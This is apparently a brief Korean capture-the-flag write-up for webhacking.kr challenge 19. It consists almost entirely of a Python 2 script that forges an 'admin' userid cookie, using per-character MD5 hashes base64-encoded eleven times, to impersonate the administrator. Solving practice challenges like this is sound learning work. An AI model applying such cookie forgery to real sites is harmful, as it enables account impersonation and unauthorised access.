webhacking.kr 19.

풀이는 많이 있으니 생략...

import urllib2,base64,hashlib

req = urllib2.Request('http://webhacking.kr','id=?????&pw=?????')
session = urllib2.urlopen(req).headers.get('set-cookie')

id = 'admin'
cookie = ''
for i in id:
    cookie += hashlib.md5(i).hexdigest() #한글자 한글자 md5.
cookie += 'd41d8cd98f00b204e9800998ecf8427e' #맨끝에 덧붙여줌

for i in range(0,11):
    cookie = base64.b64encode(cookie) #11번 base64
cookie = urllib2.quote(cookie) #urlencoding
req = urllib2.Request('http://webhacking.kr/challenge/javascript/js6.html')
req.add_header('cookie',session+'; userid='+cookie)
print urllib2.urlopen(req).read()